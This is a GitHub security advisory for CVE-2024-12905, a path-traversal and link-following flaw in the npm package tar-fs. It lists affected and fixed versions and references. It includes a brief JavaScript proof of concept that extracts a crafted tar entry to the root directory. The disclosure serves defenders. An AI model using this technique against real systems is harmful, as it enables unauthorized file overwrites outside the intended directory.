GitHub Advisoryadvisory · npm
GHSA-pq67-2wwv-3xjx tar-fs Vulnerable to Link Following and Path Traversal via Extracting a Crafted tar File
HIGH
Official page ↗
- Aliases
- CVE-2024-12905
- Ecosystem
- npm
- Packages
- tar-fs
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
- Weaknesses
- CWE-22
- Reviewed
- 2025-03-28
Affected packages
• npm tar-fs: < 1.16.4 → fixed in 1.16.4
• npm tar-fs: >= 2.0.0, < 2.1.2 → fixed in 2.1.2
• npm tar-fs: >= 3.0.0, < 3.0.7 → fixed in 3.0.7
Description
An Improper Link Resolution Before File Access ("Link Following") and Improper Limitation of a Pathname to a Restricted Directory ("Path Traversal"). This vulnerability occurs when extracting a maliciously crafted tar file, which can result in unauthorized file writes or overwrites outside the intended extraction directory. The issue is associated with index.js in the tar-fs package.
This issue affects tar-fs: from 0.0.0 before 1.16.4, from 2.0.0 before 2.1.2, from 3.0.0 before 3.0.7.
PoC
```javascript
// Create a writable stream to extract the tar content
const extractStream = tarfs.extract('/', {
// We can ignore the file type checks to allow the extraction of the malicious file
ignore: (name) => false,
});
// Create a tar stream
const tarStream = tarfs.pack().on('error', (err) => {
throw err;
});
// Append the malicious entry to the tar stream
tarStream.entry({ name: '/flag.txt', mode: 0o644 }, Buffer.from('This is a flag!'));
// Finalize the tar stream
tarStream.finalize();
// Pipe the tar stream into the extract stream
tarStream.pipe(extractStream);
```
Related
Alias · CVE (1)
- CVE-2024-12905 An Improper Link Resolution Before File Access ("Link Following") and Improper Limitation of a Pathname to a Restricted Directory ("Path… vulnerability
Weakness · CWE (1)
- CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness
References
- https://nvd.nist.gov/vuln/detail/CVE-2024-12905 advisory
- https://github.com/mafintosh/tar-fs/commit/a1dd7e7c7f4b4a8bd2ab60f513baca573b44e2ed web
- https://arxiv.org/abs/2506.04962 web
- https://arxiv.org/pdf/2506.04962 web
- https://github.com/mafintosh/tar-fs package
- https://lists.debian.org/debian-lts-announce/2025/06/msg00012.html web
- https://www.seal.security/blog/a-link-to-the-past-uncovering-a-new-vulnerability-in-tar-fs web